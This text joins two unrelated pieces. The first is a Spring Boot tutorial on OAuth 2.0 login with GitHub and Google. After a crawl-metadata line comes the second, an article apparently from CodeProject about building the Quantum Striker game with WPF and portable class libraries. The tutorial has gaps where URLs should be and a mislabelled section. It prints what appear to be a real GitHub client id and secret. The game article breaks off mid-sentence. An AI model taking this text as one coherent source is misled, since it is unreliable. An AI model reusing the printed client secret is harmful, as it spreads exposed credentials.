<groupId>org.webjars</groupId> <artifactId>jquery</artifactId> <version>3.4.1</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>bootstrap</artifactId> <version>4.3.1</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>webjars-locator-core</artifactId> </dependency> The final dependency is the webjars "locator" which is provided as a library by the webjars site. Spring can use the locator to locate static assets in webjars without needing to know the exact versions (hence the versionless /webjars/** links in the index.html). The webjar locator is activated by default in a Spring Boot app, as long as you don’t switch off the MVC autoconfiguration. With those changes in place, you should have a nice looking home page for your app. Securing the Application with GitHub and Spring Security To make the application secure, you can simply add Spring Security as a dependency. Since you’re wanting to do a "social" login (delegate to GitHub), you should include the Spring Security OAuth 2.0 Client starter: <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-oauth2-client</artifactId> </dependency> By adding that, it will secure your app with OAuth 2.0 by default. Next, you need to configure your app to use GitHub as the authentication provider. To achieve this, do the following: Add a New GitHub App To use GitHub’s OAuth 2.0 authentication system for login, you must first Add a new GitHub app. Select "New OAuth App" and then the "Register a new OAuth application" page is presented. Enter an app name and description. Then, enter your app’s home page, which should be, in this case. Finally, indicate the Authorization callback URL as and click Register Application. The OAuth redirect URI is the path in the application that the end-user’s user-agent is redirected back to after they have authenticated with GitHub and have granted access to the application on the Authorize application page. Configure application.yml Then, to make the link to GitHub, add the following to your application.yml: spring: security: oauth2: client: registration: github: clientId: github-client-id clientSecret: github-client-secret # ... Simply use the OAuth 2.0 credentials you just created with GitHub, replacing github-client-id with the client id and github-client-secret with the client secret. Boot Up the Application With that change, you can run your app again and visit the home page at. Now, instead of the home page, you should be redirected to login with GitHub. If you do that, and accept any authorizations you are asked to make, you will be redirected back to the local app, and the home page will be visible. If you stay logged in to GitHub, you won’t have to re-authenticate with this local app, even if you open it in a fresh browser with no cookies and no cached data. (That’s what Single Sign-On means.) What Just Happened? The app you just wrote, in OAuth 2.0 terms, is a Client Application, and it uses the authorization code grant to obtain an access token from GitHub (the Authorization Server). It then uses the access token to ask GitHub for some personal details (only what you permitted it to do), including your login ID and your name. In this phase, GitHub is acting as a Resource Server, decoding the token that you send and checking if it gives the app permission to access the user’s details. If that process is successful, the app inserts the user details into the Spring Security context so that you are authenticated. If you look in the browser tools (F12 on Chrome or Firefox) and follow the network traffic for all the hops, you will see the redirects back and forth with GitHub, and finally you’ll land back on the home page with a new Set-Cookie header. This cookie ( JSESSIONID by default) is a token for your authentication details for Spring (or any servlet-based) applications. So we have a secure application, in the sense that to see any content a user has to authenticate with an external provider (GitHub). We wouldn’t want to use that for an internet banking website. But for basic identification purposes, and to segregate content between different users of your site, it’s an excellent starting point. That’s why this kind of authentication is very popular these days. In the next section, we are going to add some basic features to the application. We’ll also make it a bit more obvious to users what is going on when they get that initial redirect to GitHub. Add a Welcome Page In this section, you’ll modify the simple app you just built by adding an explicit link to login with GitHub. Instead of being redirected immediately, the new link will be visible on the home page, and the user can choose to login or to stay unauthenticated. Only when the user has clicked on the link will the secure content be rendered. Conditional Content on the Home Page To render content on the condition that the user is authenticated, you have the option of either server-side or client-side rendering. Here, you’ll change the client side with JQuery, though if you prefer to use something else, it shouldn’t be very hard to translate the client code. To get started with the dynamic content, you need to mark a couple of HTML elements like so: <div class="container unauthenticated"> With GitHub: <a href="/oauth2/authorization/github">click here</a> </div> <div class="container authenticated" style="display:none"> Logged in as: <span id="user"></span> </div> By default, the first <div> will show, and the second one won’t. Note also the empty <span> with an id attribute. In a moment, you’ll add a server-side endpoint that will return the logged in user details as JSON. But, first, add the following JavaScript, which will hit that endpoint. Based on the endpoint’s response, this JavaScript will populate the <span> tag with the user’s name and toggle the <div> appropriately: <script type="text/javascript"> $.get("/user", function(data) { $("#user").html(data.name); $(".unauthenticated").hide() $(".authenticated").show() }); </script> Note that this JavaScript expects the server-side endpoint to be called /user. The /user Endpoint Now, you’ll add the server-side endpoint just mentioned, calling it /user. It will send back the currently logged-in user, which we can do quite easily in our main class: @SpringBootApplication @RestController public class SocialApplication { @GetMapping("/user") public Map<String, Object> user(@AuthenticationPrincipal OAuth2User principal) { return Collections.singletonMap("name", principal.getAttribute("name")); } public static void main(String[] args) { SpringApplication.run(SocialApplication.class, args); } } Note the use of @RestController, @GetMapping, and the OAuth2User injected into the handler method. Making the Home Page Public There’s one final change you’ll need to make. This app will now work fine and authenticate as before, but it’s still going to redirect before showing the page. To make the link visible, we also need to switch off the security on the home page by extending WebSecurityConfigurerAdapter: @SpringBootApplication @RestController public class SocialApplication extends WebSecurityConfigurerAdapter { // ... @Override protected void configure(HttpSecurity http) throws Exception { // @formatter:off http .authorizeRequests(a -> a .antMatchers("/", "/error", "/webjars/**").permitAll() .anyRequest().authenticated() ) .exceptionHandling(e -> e .authenticationEntryPoint(new HttpStatusEntryPoint(HttpStatus.UNAUTHORIZED)) ) .oauth2Login(); // @formatter:on } } Spring Boot attaches special meaning to a WebSecurityConfigurerAdapter on the class annotated with @SpringBootApplication: It uses it to configure the security filter chain that carries the OAuth 2.0 authentication processor. The above configuration indicates a whitelist of permitted endpoints, with every other endpoint requiring authentication. You want to allow: /since that’s the page you just made dynamic, with some of its content visible to unauthenticated users /errorsince that’s a Spring Boot endpoint for displaying errors, and /webjars/**since you’ll want your JavaScript to run for all visitors, authenticated or not You won’t see anything about /user in this configuration, though. Everything, including /user remains secure unless indicated because of the .anyRequest().authenticated() configuration at the end. Finally, since we are interfacing with the backend over Ajax, we’ll want to configure endpoints to respond with a 401 instead of the default behavior of redirecting to a login page. Configuring the authenticationEntryPoint achieves this for us. With those changes in place, the application is complete, and if you run it and visit the home page you should see a nicely styled HTML link to "login with GitHub". The link takes you not directly to GitHub, but to the local path that processes the authentication (and sends a redirect to GitHub). Once you have authenticated, you get redirected back to the local app, where it now displays your name (assuming you have set up your permissions in GitHub to allow access to that data). Add a Logout Button In this section, we modify the click app we built by adding a button that allows the user to log out of the app. This seems like a simple feature, but it requires a bit of care to implement, so it’s worth spending some time discussing exactly how to do it. Most of the changes are to do with the fact that we are transforming the app from a read-only resource to a read-write one (logging out requires a state change), so the same changes would be needed in any realistic application that wasn’t just static content. Client Side Changes On the client, we just need to provide a logout button and some JavaScript to call back to the server to ask for the authentication to be cancelled. First, in the "authenticated" section of the UI, we add the button: <div class="container authenticated"> Logged in as: <span id="user"></span> <div> <button onClick="logout()" class="btn btn-primary">Logout</button> </div> </div> and then we provide the logout() function that it refers to in the JavaScript: var logout = function() { $.post("/logout", function() { $("#user").html(''); $(".unauthenticated").show(); $(".authenticated").hide(); }) return true; } The logout() function does a POST to /logout and then clears the dynamic content. Now we can switch over to the server side to implement that endpoint. Adding a Logout Endpoint Spring Security has built in support for a /logout endpoint which will do the right thing for us (clear the session and invalidate the cookie). To configure the endpoint we simply extend the existing configure() method in our WebSecurityConfigurerAdapter: @Override protected void configure(HttpSecurity http) throws Exception { // @formatter:off http // ... existing code here .logout(l -> l .logoutSuccessUrl("/").permitAll() ) // ... existing code here // @formatter:on } The /logout endpoint requires us to POST to it, and to protect the user from Cross Site Request Forgery (CSRF, pronounced "sea surf"), it requires a token to be included in the request. The value of the token is linked to the current session, which is what provides the protection, so we need a way to get that data into our JavaScript app. Many JavaScript frameworks have built in support for CSRF (e.g. in Angular they call it XSRF), but it is often implemented in a slightly different way than the out-of-the box behaviour of Spring Security. For instance, in Angular, the front end would like the server to send it a cookie called "XSRF-TOKEN" and if it sees that, it will send the value back as a header named "X-XSRF-TOKEN". We can implement the same behaviour with our simple jQuery client, and then the server-side changes will work with other front end implementations with no or very few changes. To teach Spring Security about this we need to add a filter that creates the cookie. In the WebSecurityConfigurerAdapter we do the following: @Override protected void configure(HttpSecurity http) throws Exception { // @formatter:off http // ... existing code here .csrf(c -> c .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) ) // ... existing code here // @formatter:on } Adding the CSRF Token in the Client Since we are not using a higher level framework in this sample, you’ll need to explicitly add the CSRF token, which you just made available as a cookie from the backend. To make the code a bit simpler, include the js-cookie library: <dependency> <groupId>org.webjars</groupId> <artifactId>js-cookie</artifactId> <version>2.1.0</version> </dependency> And then, you can reference it in your HTML: <script type="text/javascript" src="/webjars/js-cookie/js.cookie.js"></script> Finally, you can use Cookies convenience methods in XHR: $.ajaxSetup({ beforeSend : function(xhr, settings) { if (settings.type == 'POST' || settings.type == 'PUT' || settings.type == 'DELETE') { if (!(/^http:.*/.test(settings.url) || /^https:.*/ .test(settings.url))) { // Only send the token to relative URLs i.e. locally. xhr.setRequestHeader("X-XSRF-TOKEN", Cookies.get('XSRF-TOKEN')); } } } }); Ready To Roll! With those changes in place, we are ready to run the app and try out the new logout button. Start the app and load the home page in a new browser window. Click on the "Login" link to take you to GitHub (if you are already logged in there you might not notice the redirect). Click on the "Logout" button to cancel the current session and return the app to the unauthenticated state. If you are curious, you should be able to see the new cookies and headers in the requests that the browser exchanges with the local server. Remember that now the logout endpoint is working with the browser client, then all other HTTP requests (POST, PUT, DELETE, etc.) will also work just as well. So this should be a good platform for an application with some more realistic features. Login with GitHub In this section, you’ll modify the logout app you built already, adding a sticker page so that the end-user can choose between multiple sets of credentials. Let’s add Google as a second option for the end user. Initial setup. Setting the redirect URI Also, you’ll need to supply a redirect URI, as you did for GitHub earlier. In the "Set a redirect URI" sub-section, ensure that the Authorized redirect URIs field is set to. Adding the Client Registration Then, you need to configure the client to point Google. Because Spring Security is built with multiple clients in mind, you can add our Google credentials alongside the ones you created for GitHub: spring: security: oauth2: client: registration: github: clientId: github-client-id clientSecret: github-client-secret google: client-id: google-client-id client-secret: google-client-secret As you can see, Google is another provider that Spring Security ships out-of-the-box support for. Adding the Login Link In the client, the change is trivial - you can just add another link: <div class="container unauthenticated"> <div> With GitHub: <a href="/oauth2/authorization/github">click here</a> </div> <div> With Google: <a href="/oauth2/authorization/google">click here</a> </div> </div> How to Add a Local User Database Many applications need to hold data about their users locally, even if authentication is delegated to an external provider. We don’t show the code here, but it is easy to do in two steps. Choose a backend for your database, and set up some repositories (using Spring Data, say) for a custom Userobject that suits your needs and can be populated, fully or partially, from external authentication. Implement and expose OAuth2UserServiceto call the Authorization Server as well as your database. Your implementation can delegate to the default implementation, which will do the heavy lifting of calling the Authorization Server. Your implementation should return something that extends your custom Userobject and implements OAuth2User. Hint: add a field in the User object to link to a unique identifier in the external provider (not the user’s name, but something that’s unique to the account in the external provider). Adding an Error Page for Unauthenticated Users In this section, you’ll modify the two-providers app you built earlier to give some feedback to users that cannot authenticate. At the same time you’ll extend the authentication logic to include a rule that only allows users if they belong to a specific GitHub organization. The "organization" is a GitHub domain-specific concept, but similar rules could be devised for other providers. For example, with Google you might want to only authenticate users from a specific domain. Switching to GitHub The two-providers sample uses GitHub as an OAuth 2.0 provider: spring: security: oauth2: client: registration: github: client-id: bd1c0a783ccdd1c9b9e4 client-secret: 1a9030fbca47a5b2c28e92f19050bb77824b5ad1 # ... Detecting an Authentication Failure in the Client On the client, you might like to provide some feedback for a user that could not authenticate. To facilitate this, you can add a div to which you’ll eventually add an informative message. <div class="container text-danger error"></div> Then, add a call to the /error endpoint, populating the <div> with the result: $.get("/error", function(data) { if (data) { $(".error").html(data); } else { $(".error").html(''); } }); The error function checks with the backend if there is any error to display Adding an Error Message To support the retrieval of an error message, you’ll need to capture it when authentication fails. To achieve this, you can configure an AuthenticationFailureHandler, like so: protected void configure(HttpSecurity http) throws Exception { // @formatter:off http // ... existing configuration .oauth2Login(o -> o .failureHandler((request, response, exception) -> { request.getSession().setAttribute("error.message", exception.getMessage()); handler.onAuthenticationFailure(request, response, exception); }) ); } The above will save an error message to the session whenever authentication fails. Then, you can add a simple /error controller, like this one: @GetMapping("/error") public String error() { String message = (String) request.getSession().getAttribute("error.message"); request.getSession().removeAttribute("error.message"); return message; } Generating a 401 in the Server A 401 response will already be coming from Spring Security if the user cannot or does not want to login with GitHub, so the app is already working if you fail to authenticate (e.g. by rejecting the token grant). To spice things up a bit, you can extend the authentication rule to reject users that are not in the right organization. You can use the GitHub API to find out more about the user, so you’ll just need to plug that into the right part of the authentication process. Fortunately, for such a simple use case, Spring Boot has provided an easy extension point: If you declare a @Bean of type OAuth2UserService, it will be used to identify the user principal. You can use that hook to assert the the user is in the correct organization, and throw an exception if not: @Bean public OAuth2UserService<OAuth2UserRequest, OAuth2User> oauth2UserService(WebClient rest) { DefaultOAuth2UserService delegate = new DefaultOAuth2UserService(); return request -> { OAuth2User user = delegate.loadUser(request); if (!"github".equals(request.getClientRegistration().getRegistrationId())) { return user; } OAuth2AuthorizedClient client = new OAuth2AuthorizedClient (request.getClientRegistration(), user.getName(), request.getAccessToken()); String url = user.getAttribute("organizations_url"); List<Map<String, Object>> orgs = rest .get().uri(url) .attributes(oauth2AuthorizedClient(client)) .retrieve() .bodyToMono(List.class) .block(); if (orgs.stream().anyMatch(org -> "spring-projects".equals(org.get("login")))) { return user; } throw new OAuth2AuthenticationException(new OAuth2Error("invalid_token", "Not in Spring Team", "")); }; } Note that this code is dependent on a WebClient instance for accessing the GitHub API on behalf of the authenticated user. Having done that, it loops over the organizations, looking for one that matches "spring-projects" (this is the organization that is used to store Spring open source projects). You can substitute your own value there if you want to be able to authenticate successfully and you are not in the Spring Engineering team. If there is no match, it throws an OAuth2AuthenticationException, and this is picked up by Spring Security and turned in to a 401 response. The WebClient has to be created as a bean as well, but that’s trivial because its ingredients are all autowirable by virtue of having used spring-boot-starter-oauth2-client: @Bean public WebClient rest(ClientRegistrationRepository clients, OAuth2AuthorizedClientRepository authz) { ServletOAuth2AuthorizedClientExchangeFilterFunction oauth2 = new ServletOAuth2AuthorizedClientExchangeFilterFunction(clients, authz); return WebClient.builder() .filter(oauth2).build(); } Conclusion We have seen how to use Spring Boot and Spring Security to build apps in a number of styles with very little effort. The main theme running through all of the samples is authentication using an external OAuth 2.0 provider. All of the sample apps can be easily extended and re-configured for more specific use cases, usually with nothing more than a configuration file change. Remember if you use versions of the samples in your own servers to register with GitHub (or similar) and get client credentials for your own host addresses. And remember not to put those credentials in source control! Want to write a new guide or contribute to an existing one? Check out our contribution guidelines.
https://spring.io/guides/tutorials/spring-boot-oauth2/
CC-MAIN-2021-04
refinedweb
4,082
52.8
A while ago a colleague and I participated in the Intel App Innovation Contest (AIC) 2013. Even though the games category is not as predictable and depending on (classical) programming skills as other categories, we tried our best to overcome our graphical deficiencies. In the end we managed to deliver a fun game that made it at least to the Top-5 games of the competition. We've been quite happy about that success. From that moment on we planned on releasing the game on the CodeProject. Obviously it took a while, but here is the associated article. During the next paragraphs I will guide you through the game, the logic, as well as design decisions and an analysis. The whole article will be discussed in the context of cross-platform applications. Of course we now have the ability to write universal apps, i.e. applications that support us developers in sharing code between, e.g. Windows Phone 8 and Windows 8 apps, however, being cross-platform between Windows Store and Windows (WPF) is still not that easy. We will see how we can use portable class libraries as a solid foundation for sharing code. The article will also demonstrate efficient (and not-so-efficient) ways for making code portable with the .NET-Framework. Finally I hope to demonstrate an architecture that is extensible, portable and flexible. Shortly after I started writing articles for the CodeProject I created a game called SpaceShoot. I wrote it in a couple of hours as a demo project for a lecture I was giving on HTML5. Nevertheless it turned out to be quite a fun project and has been popular among CodeProject readers, my students and friends. For the AIC 2013 we decided to create a remake - a game that is worth being a successor. Instead of HTML5 our platform of choice has been WPF. The main reason for this was the interaction with the touch layer. In retrospect this was not the best decision. We lost more than a week figuring out how to do multi-touch efficiently with WPF. It turned out to be an old topic with unsolved issues. Some of those issues came from WPF design choices, some from our own blindness. In the end we had a solid solution, but it took us longer than expected. The good thing about WPF was, however, that the game has been placed on a really solid code base with great flexibility and extensibility. We wanted to create the ultimate asteroid shooter simulation. Shortly after we implemented the physics we had to implement helpers, since the game turned out to be very hard to control. Every laser shot, every collision or acceleration had some very realistic impacts. To counter the accumulation of those impacts turned out to be a tough challenge for any player. Without a proper reaction of the player the control over the ship was lost inevitably. We implemented inertia dampers, steering helpers and others, just to control the space ship as if it would be a car. This is the same behavior as in the original game, however, we are more realistic and that can be used on several other occasions. The ship contains a damage model, which then could be turned on to disable standard ship systems. An example of such a system would be the mentioned inertia dampers. If those are turned off by laser shots, collisions or other influences, the inertia effects won't be suppressed. Before we discuss the consequences (advantages and problems) of our design in detail, we will first have a look at the technical side of our application. Every game requires some kind of game engine. Even very simple games may have some core that could be considered a game engine. For real time games this is much easier to identify than for other kind of games. Basically a game engine consists of two important blocks: It is not only a good practice to keep these components as decoupled as possible. It will also result in a much cleaner game design. I've witnessed students, who started mixing these components and ended up in some kind of coding hell. If you logic depends on a certain graphics state, you are basically lost. For instance: If a laser is currently shot should not depend on the current draw state. It does not matter if we already show an image of the laser. It is either fired or not. On the other side objects might already be out of our logic, when they are still drawn. Consider little graphic effects such as dust, explosions or other effects. The corresponding object has already been removed from the logic. It cannot interact any more. However, its remains are still visible. It is also important that the logic manager acts separately from the visuals. Games always want to redraw the screen as often as possible. Maybe one wants to throttle down the frame-rate due to some energy saving desire, but that would be achieved naturally by just limiting the GPU for hardware accelerated graphics or the CPU for (partial) software rendering. Needless to say that these decisions should have no impact on the logic. Therefore we want the game to have the same logic on a 1 GHz Intel i3 CPU as well as on a 3 GHz Intel i7 CPU. The operating system is responsible for giving us a callback at fixed time spans. The logic is responsible for a variety of tasks: The last point sounds like a contradiction to the general concept of decoupling logic from asset management. However, we will see that this is crucial for the separation. The separation works only if there is a general pipe that passes data to independent worker units. But in our case this is not so easily possible, since such a pipeline would be required to work either at the speed of the rendering engine, or the logic engine. If this pipeline would work at the speed of the rendering engine, it would fire all the time. We would then not be able to execute the logic engine (at least not at every execution). On the other side if the pipe would work at the speed of the logic engine, the logic would be required to wait for the rendering to complete. Additionally the rendering would not be as fast as possible, probably resulting in an unsatisfactory experience for the player. Therefore the whole pipeline approach is unfortunately not possible. We have two pipelines - one that may be called logic engine and another that may be called graphic or rendering engine. Where do these engines get the data from? Well, we can make one of them self-sustained. Of course we choose the logic engine, as we prefer logic to display. In essence such an approach makes the rendering engine dependent on the logic engine - but only on the data from the logic engine. We can make this dependency as small as possible, but it will be there. Therefore our logic engine also needs a way to directly speak to the graphic engine. All this has been integrated into the design of the quantum engine. The game contained a set of available modes. In principle it was quite easy to add another mode. Initially we offered the following set of modes: The campaign mode contained a non-linear story-line, where certain actions and decisions influenced the upcoming mission or changed the taken story path. Even though designing such a system is a lot more work (a lot more levels are required, logic for changing mission objectives depending on certain conditions and more has to be implemented), it definitely pays off in terms of fun and flexibility of the game. Also the campaign allowed to introduce short mission objectives with text based briefings. All these scenarios can be handled within the engine, there is no hack or work-around required. The following screenshot shows such a briefing in action. In Quantum Striker the player is using a ship that has limited health points, shields and ammo. The ship may contain a set of bombs that might be used to detonate. Additionally the ammo is limited for laser shots. The primary (laser) weapon can be upgraded. Some graphics are directly based on XAML, but most graphics are stored as bitmaps. There is a huge variety of ships included. For instance in the following screenshot we see a drone mothership (right side, basically what is known as a Borg cube), spherical drones (looking like asteroids, but with health bars) and standard drones. The player's ship is only available is a bitmap graphic. For supporting multiple players, this bitmap graphic exists in multiple colors (red, green, yellow, blue, ...). It would have been possible to do it all in XAML, but in the end the level of detail and simplicity of a bitmap have been our reason for staying with the bitmap approach. Nevertheless for the player's HUD (heads up display) we wanted to show an expressive graphic basically illustrating the ship. In this graphic we display the current ammo, working systems and available bombs. This graphic should be shown in the player's color. Since this graphic is basically just a line with variable information, it was an obvious choice for choosing XAML as our language of implementation. The HUD therefore is defined as follows: <UserControl x:Class="QuantumStriker.Xaml.Hud" xmlns="" xmlns: <Viewbox> <Canvas Height="150" Width="250"> <Path Data="M0,0 L50,0 L50,20 L70,35 L90,15 L160,15 L180,50 L230,50 L230,55 L250,55 L250,65 L230,65 L230,70 L180,70 L160,105 L90,105 L70,85 L50,100 L50,120 L0,120 L0,90 L20,90 L20,75 L0,75 L0,45 L20,45 L20,30 L0,30 Z" x: <Path Data="M100,40 L110,30 L140,30 L150,50 L150,70 L140,90 L110,90 L100,80 Z" x: <Path Data="M110,50 L140,50 L140,70 L110,70 Z" x: <Image x:Name="Battery" Canvas.Left="109" Canvas. <Path Data="M60,55 L60,65 L35,80 L45,65 L45,55 L35,40 Z" x: <Path Data="M180,50 L230,50 L230,55 L250,55 L250,65 L230,65 L230,70 L180,70 L190,60 Z" x: <TextBlock Text="0" FontFamily="../../Fonts/#Acknowledge TT BRK" x:Name="BombText" FontSize="28" TextAlignment="Center" Foreground="SteelBlue" Width="30" Canvas.Left="67" Canvas. <TextBlock Text="1000" FontFamily="../../Fonts/#Acknowledge TT BRK" x:Name="AmmoText" FontSize="28" TextAlignment="Right" Width="60" Foreground="SteelBlue" Canvas.Left="190" Canvas. <TextBlock Text="The main reactor is broken." x:Name="Message" FontWeight="Light" FontSize="16" TextAlignment="Center" Width="250" Foreground="SteelBlue" Canvas.Left="0" Canvas. </Canvas> </Viewbox> </UserControl> Basically we use a Viewbox to provide scalability. The UserControl then uses a Canvas for drawing a path that will be the outline of the ship. Various text blocks and images are placed on interesting positions. We do not use any binding (everything will be set in the code behind and our game engine does not know about WPF) and the information can only be updated in the update step. This will be done by the game engine, which is why we circumvent MVVM binding altogether. Viewbox UserControl Canvas The layout of the game has been designed in such a way, that the controls will be displayed on the screen. Therefore the touch controls are present for players that use the touch screen - and they are presented in a semi-transparent way. Also the HUD is shown with some transparency, to be as unobtrusive as possible. The next screenshot illustrates the beginning of a multiplayer match. Here we choose a scenario with 4 players. This is currently the maximum, which might be increased by implementing a multi-player mode that is based on TCP/IP or network connections in general. We see that the standard touch control consists of two fire buttons (left side, with the left button firing the laser and the right one being the eject bomb button) and some kind of position field. The latter could be used together with the finger. In this case it basically represents something like a steering / accelerating circle. Usually this panel would be used to place a special kind of touch-joystick on it. This joystick panel, as well as the other touch controls, have been designed again with pure XAML. The XAML code for the panel is given in the next code snippet. <UserControl x:Class="QuantumStriker.Xaml.JoystickPanel" xmlns="" xmlns: <UserControl.Resources> <SolidColorBrush x: <SolidColorBrush x: <SolidColorBrush x: </UserControl.Resources> <Grid> <Ellipse Margin="0" StrokeThickness="4" Stroke="{StaticResource Outer}"> <Ellipse.Clip> <GeometryGroup> <PathGeometry> <PathFigure StartPoint="10,0" IsClosed="True"> <LineSegment Point="50,50" /> <LineSegment Point="90, 0" /> </PathFigure> </PathGeometry> <PathGeometry> <PathFigure StartPoint="0,10" IsClosed="True"> <LineSegment Point="50,50" /> <LineSegment Point="0, 90" /> </PathFigure> </PathGeometry> <PathGeometry> <PathFigure StartPoint="10,100" IsClosed="True"> <LineSegment Point="50,50" /> <LineSegment Point="90, 100" /> </PathFigure> </PathGeometry> <PathGeometry> <PathFigure StartPoint="100,10" IsClosed="True"> <LineSegment Point="50,50" /> <LineSegment Point="100, 90" /> </PathFigure> </PathGeometry> </GeometryGroup> </Ellipse.Clip> </Ellipse> <Ellipse Margin="20" Fill="{StaticResource Inner}" /> <Line X1="7" Y1="7" X2="23" Y2="23" x: <Line X1="93" Y1="93" X2="77" Y2="77" x: <Line X1="93" Y1="7" X2="77" Y2="23" x: <Line X1="7" Y1="93" X2="23" Y2="77" x: </Grid> </UserControl> Sounds is a little bit more complicated. Basically we differ between sound effects (such as laser shots) and background music. While effects are stored as wave files, background sounds are stored as MP3 files. This is just logical, as effects are very small and playing them should be as direct as possible. Any decoding efforts would be just overhead, especially since the size of the file wouldn't change much. This is not true for background sounds. Here the size would be at least a factor 10 higher (depending on the selected bitrate). The implementation of playing the sounds / music is really platform specific. We therefore use an abstraction layer that just defines how the sound system looks like. Then the platform specific layer creates a concrete implementation of such a system. For WPF we based the sound system implementation on the well-known NAudio library. This is an extensive, nearly-complete library for playing, recording and manipulating sounds. We are only interesting in decoding (for mp3) and playing (for everything) sound streams. For the Windows Store app we use SharpDX. This provides a nice abstraction layer to XAudio, which is a part of the Windows (8) API and could be accessed over DirectX. More information about the game is available on the picture below. Click to open the screenshot in its original resolution. The engine already defines what an entity is, and what base properties any entity should contain. Nevertheless, besides representing a basic connection to the (2D) game world, and containing the current state (alive, dead) of the object, it does not really express anything special about the given object. So we need to derive from the entity to define what kind of objects we are dealing with. Lucky for us the engine already offers interesting start points for inheritance. For instance an OrientableObject that contains everything to be orientable. OrientableObject If we are not satisfied with the given classes, we might just start from scratch. In the end it only matters if we implemented the correct interfaces. In our case we started by inheriting from OrientableObject to create yet another important base class called MoveableObject. This one extends the orientation with a kind of velocity. This velocity then just gets added to the location in every update step. MoveableObject Additionally we also include AngularVelocity. Here we make use of the Orientation property, that is offered by the OrientableObject base class. AngularVelocity Orientation abstract class MoveableObject : OrientableObject { // ... public override void Update(IGame g) { base.Update(g); Location += Velocity; Orientation += AngularVelocity; if (collisionCoolDown > 0) collisionCoolDown--; } } Moving on we might specialize this base class for several of our entities. A special group of entities is the group of all ships. Here we have additional specializations. Therefore it makes sense to have a common base class for this group as well. We call this base class ControlledShip and implement several interfaces, that might be used to decorate other (non-ship) entities as well. Some of these interfaces are also of particular interest for the game engine. For instance the IDamageable tells the game engine that the object might be hit by other objects implementing the IDamaging interface. ControlledShip IDamageable IDamaging This basically is the basis for the whole collision model, that runs automatically in the engine. The implementation of the ship abstraction has been coded as follows: abstract class ControlledShip : MovableObject, IDamageable, IDamaging, IInterestedInStatistics { // ... public override void Update(IGame g) { base.Update(g); _laser.Update(g); _alternative.Update(g); _engineering.Update(g); var effectiveDamperQuality = _damperQuality * _engineering.InertialDamper.Performance; ExerciseControl(g, effectiveDamperQuality); var vN = Velocity.Norm(); UseStabilisator(effectiveDamperQuality, vN); ImposeSpeedLimit(vN); if (HealthPoints <= 0) { g.PlayEffect(AudioDb.Effects.Explosion); g.Register(ExplosionFactory.Create(this, ExplosionFactory.ExplosionType.Explosion2)); IsGarbage = true; } if (revengeTimer > 0) revengeTimer--; else if (revengeTimer == 0) HitDirection = null; } } Every specialization, such as DroneShip or PlayerShip derives from the given base class. As we can see in the specialization of the Update method, we are using the update step to also keep other objects current (such as the ship's engineering system and weapons). DroneShip PlayerShip Update A very interesting specialization is the enterprise. It is much bigger than most other ships, hard to control and used in an AI controlled form within the campaign. It also provides much stronger weapons. Hence the ship also features a special kind of graphic, which is basically what you would expect. The purple laser shots are fired by the specialized model. Another specialization is the general player ship. This class also implements some interfaces that are important for the game (not the game engine). Here we have the following code: sealed class PlayerShip : ControlledShip, IDroneTarget, IPlayerShip { public override void Update(IGame g) { base.Update(g); if (HealthPoints <= 0) { PlayerStatistic.IncrementPlayersRecursively(LastCollisionObject, LastCollisionObject); Statistic.Deaths++; if (Alternative.Ammo > 0) { g.Register(new BombItem { Location = this.Location, AngularVelocity = this.AngularVelocity }); } } } } The IDroneTarget interface is used by the drone AI to determine what kind of objects should be treated as targets. The IPlayerShip is practically only an indicator if the class could be used to instantiate an object that is purely controlled by a player. IDroneTarget IPlayerShip With the same reasoning another interface called IDroneShip has been created. So we could dynamically create player and drone ship factories. This could be used for, e.g., some funny mode, where each player either may select the ship to use, and / or (random) waves of the same opponent ships have to be defended. IDroneShip Let's remember what this article is about. We wanted to create a cross platform game. The two platforms of matter in this case are Windows (by using WPF) and Windows Store. For both platforms we use C# as our programming language of choice. Even though it is not required to use the same language on all platforms, it makes sharing code a lot easier. Otherwise we may be limited with an ABI between the different code snippets. ABIs, however, are highly platform specific and may be the least favorite way of providing cross-platform capabilities. Usually we want to be able to communicate between our code snippets and to compile everything (our whole code) to a specific platform. This ensures consistency and will eventually result in the easiest and most reliable way of creating cross-platform projects. Otherwise we would always be in doubt if our changes did break something. Of course there are limitations to sharing code. In the end it usually does not matter how different two platforms are. If we deal with two platforms, we will always depend on wrappers for system calls. The exclusion is POSIX compatible, but since we are dealing with a .NET application, we can forget about such an exclusion. Plus we already have a powerful wrapper with the .NET-Framework. But wait a second! Why this long talk about sharing code if .NET does everything for us? Well, actually that would be a dream. But the reality is more close to a nightmare. Basic abstractions are (in theory) shared. For instance we can create a console application that uses classes from the System.IO namespace for reading and writing files. Compiling and running this code works on MacOS and any Linux distribution using the Mono compiler. This is what I would call portable. System.IO However, once we introduce the concept of a sandbox and specialized environments even the given example will probably stop working. On some platforms there is no direct way of accessing the file system. Therefore such an abstraction might not exist. This is the concept of a Portable Class Library. It basically determines the lowest common denominator that fits a given number of platforms. So if we pick 4 platforms and one does not contain any direct way of accessing files, we will also not have this possibility in the PCL project. This concept is universal. It basically determines what can be shared. Everything that is common on a given set of platforms can be shared. Everything else has to be introduced by the techniques mentioned in the following section. Of course we can try to introduce a classification. In my opinion there are three parts that determine how much code might be shared. UI is probably the most common part. Even if a framework provides the same abstraction for a set of platforms, it is usually a wise decision to avoid sharing UI code (in the long run). Platforms differ not only by look, but also by feel. Therefore any decision that will result in the same look and feel for different platforms, will ultimately fail against other applications, that provide a platform specific solution. IO might be hard to share as well. Sometimes there are no abstraction or not even accessible UI capabilities available. Then we might also not be able to share any code. Even if we can share code, we should work on a common base, i.e. only handle FileStream or Stream in general. The input can then be more specific, according to the platform. FileStream Stream Finally libraries and the given framework in general. This is usually the easiest part. For instance if the given platform supports .NET 4.5, we might use async / await. If the platform does not even support .NET 4.0, we cannot use Task at all. There are variants, exclusions, subsets and much more. In the end we have to determine what we want to use, and what we have to use. Sometimes (re-) creating these classes is not hard. Sometimes there are NuGet packages available. The important point here is, to always have a rough plan what will be required. async await Task There are a number of sharing techniques. The combination of Visual Studio together with C# / .NET provides an excellent basis for code sharing. Considering for instance C++ code, we are already in quite comfortable zone. We will start by looking a little bit more closely at the concept of PCL. This concept is what powers solutions like universal apps, but also helps us in creating a shared basis between WPF and Windows Store. In the following we will start by pure code sharing. Then we will discuss more and more techniques that are useful when pure code sharing, i.e. full support of a given piece of code in all platforms is available, is impossible. A Portable Class Library (PCL) is a special kind of project type, that tries to help developers to create a library, which 